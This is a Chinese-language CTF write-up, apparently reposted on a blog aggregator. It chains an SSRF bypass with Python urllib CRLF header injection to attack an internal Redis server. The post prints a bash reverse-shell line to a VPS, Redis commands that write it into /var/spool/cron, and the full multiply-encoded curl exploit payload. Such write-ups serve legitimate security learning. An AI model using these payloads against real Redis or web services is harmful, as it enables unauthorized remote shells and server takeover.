Hack Redis via Python urllib HTTP Header Injection
来源:互联网 发布:彩无敌软件官网 编辑:程序博客网 时间:2024/05/16 09:29
本篇文章带来的是python低版本的urllib 头部注入,攻击目标为局域网内的Redis,结合着一道CTF实例,演示整个攻击过程
- 0x01 简介
- 0x02 环境搭建
- 0x03 题目分析
- 0x1 ssrf
- 0x2 python urllib 注入
- docker 1
- docker 2
- 0x3 redis攻击方式
- webshell
- 利用redis写恶意命令
- 接收反弹的shell
0x01 简介
2016年6月BLINDSPOT披露了Python urllib http头注入漏洞:http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html
通过这个漏洞,如果使用了Python的urllib库,并且请求的url为用户可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问的redis,那么服务器则有被getshell的风险。
0x02 环境搭建
利用2016hctf ATfeild 源码搭建
https://github.com/LoRexxar/hctf2016_atfield
0x03 题目分析
整个题目只有一个输入框
要求输入图片的url ,后台的访问过程因该是直接去请求文件
打印出来的image地址很可疑 怀疑是ssrf
下一步就是寻找内网主机
0x1 ssrf
这里我们测试能发现,并不允许ip的请求,也就是描述中所说的,请求必须符合.tld标准并且包含域名,如果想要请求127.0.0.1,我们这里有两种绕过方式
1、 http://www.127.0.0.1.xip.io
这种方式可以自动把域名指向中间的ip,在一些特殊情况下非常好用
2、 http://xxxxx/?u=http://127.0.0.1
在有域名的vps上写一个跳转页面实现,事实上,只有第二种做法可以顺利继续做下一题
这里采用两种方法结合的方式
构造http://www.vps.xip.io/302.php?u=http://127.0.0.1
0x2 python urllib 注入
该漏洞的前提python版本为python3 < 3.4.3 || python2 < 2.7.9 (ps 这里python版本必须是自己编译的,虽然不知道为什么???)
首先我们了解一下什么是python urllib 注入
1. docker 1
是对外开放的web服务器端
编写请求脚本
#!/usr/bin/env python # encoding: utf-8 import sysimport urllib2url = sys.argv[1]info = urllib2.urlopen(url)
通过发送请求 达到恶意数据被执行 python a.py http://172.17.0.3%0d%0aset%20a%2012345%0d%0a:8888/
首先在docker2中nc -lp 8888端口
观察现象
发现中间的字符串正常的解析了,正好是一组redis命令
2.docker 2
是内网中的服务器,里面有redis以及crontab任务管理
docker2中开启了redis服务
如果刚才docker1中的请求端口是6379,那么就会吧aa变量加入到集合中,从而能证明header注入redis是否成功
最后看截图
成功解析语句并执行
0x3 redis攻击方式
首先整体的思路是用户通过操作docker1去访问docker2其中的数据具有恶意性,并且可以在docker2中解析执行,从而在docker2中进行破坏最后拿到webshell,系统管理权限
1.webshell
利用最经典的webshell获取方法
通过1.2.2 我们能够绕过过滤,在通过1.2.1我们能够构造payload写入信息redis,再加上提示说有crontab,这样我们就可以通过redis来写crontab文件然后反弹shell。
正常我们在bash下反弹shell是这样子的命令
/bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1
写成计划任务形式,即crontab文件形式
*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1
代表每分钟执行一次
2.利用redis写恶意命令
通常来说我们在使用redis写文件方法如下:
set 11 "*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1"config set dir /var/spool/cronconfig set dbfilename rootsave
但本题采取了另一个方式 因为redis不会识别空格
(1) set 11 "\n*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1\n"*3 //表示有三个参数$3 //下面这个参数长度为3set$1 //下面这个参数长度为1a $64 //下面这个参数长度为64\n*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1\n
这里\n在传输的时候替换成%0a,所以我们要传入的明文子串如下:
link=http://www.(vps address).xip.io/302.php?url=http://172.17.0.4*3$3set$1a$64*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1config set dir /var/spool/cronconfig set dbfilename rootsave:6379/
不能直接发送过去 ,首先进行进行URL编码转换,应该转换几次呢?
答案是3次 用户web浏览器一次/跳转一次/内网请求一次
在换行时必须采用%0d%0a 那么最后的形式是将下面的link再转码两次
link=http://www.(vps address).xip.io/302.php?url=http://172.17.0.4%0d%0A%0d%0A%2a3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0Aa%0d%0A%2464%0d%0A%0a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f(vps address)%2f12345%200%3E%261%0a%0d%0Aconfig%20set%20dir%20%2fvar%2fspool%2fcron%0d%0Aconfig%20set%20dbfilename%20root%0d%0Asave%0d%0A:6379/
利用crul 方法发送出去
curl -d "link=http%3A%2f%2fwww.(vps address).xip.io%2f302.php%3Furl%3Dhttp%253A%252f%252f172.17.0.3%25250d%25250A%25250d%25250A%25252a3%25250d%25250A%2525243%25250d%25250Aset%25250d%25250A%2525241%25250d%25250Aa%25250d%25250A%25252464%25250d%25250A%25250a%25252a%25252f1%252520%25252a%252520%25252a%252520%25252a%252520%25252a%252520%25252fbin%25252fbash%252520-i%252520%25253E%252526%252520%25252fdev%25252ftcp%25252f(vps address)%25252f12345%2525200%25253E%2525261%25250a%25250d%25250Aconfig%252520set%252520dir%252520%25252fvar%25252fspool%25252fcron%25250d%25250Aconfig%252520set%252520dbfilename%252520root%25250d%25250Asave%25250d%25250A%253A6379%252f" "http://172.17.0.4:8000/show" -v -L
执行结果如下
成功执行
观察 redis端的情况
成功实现计划任务的写入
下面就是vps接受反弹的shell
3.接收反弹的shell
- Hack Redis via Python urllib HTTP Header Injection
- PHP 'header()' HTTP Header Injection Vulnerability
- [CVE-2016-5699] Python HTTP header injection in httplib/http.client
- sql injection via xss
- python的http请求模块urllib+requests
- 【Python】Python http编程:urllib包与http包详解
- python urllib
- python urllib
- python urllib
- python urllib
- Python urllib
- Python urllib
- python urllib
- 【python】urllib
- python基于http协议编程:httplib,urllib和urllib2
- python基于http协议编程:httplib,urllib和urllib2
- python基于http协议编程:httplib,urllib和urllib2
- python urllib webbrowser HTTPError: HTTP Error 403: Forbidden
- 简单的死锁
- POJ 3264Balanced Lineup
- HTTP请求错误400、401、402、403、404、405、406、407、412、414、500、501、502解析
- jq实现购物网站顶部广告自动弹出收回效果
- 你有哪些性能优化的方法?
- Hack Redis via Python urllib HTTP Header Injection
- javascript对象的几种创建方式
- UIView的生命周期
- Python 迭代器
- js事件处理程序问题?
- hghg
- 湫湫系列故事——设计风景线 【并查集判定环】+【求无环非连通图的树的直径】
- Java虚拟机的即时编译与C/C++的静态优化编译器比较
- linux驱动之网卡驱动-虚拟网卡驱动编写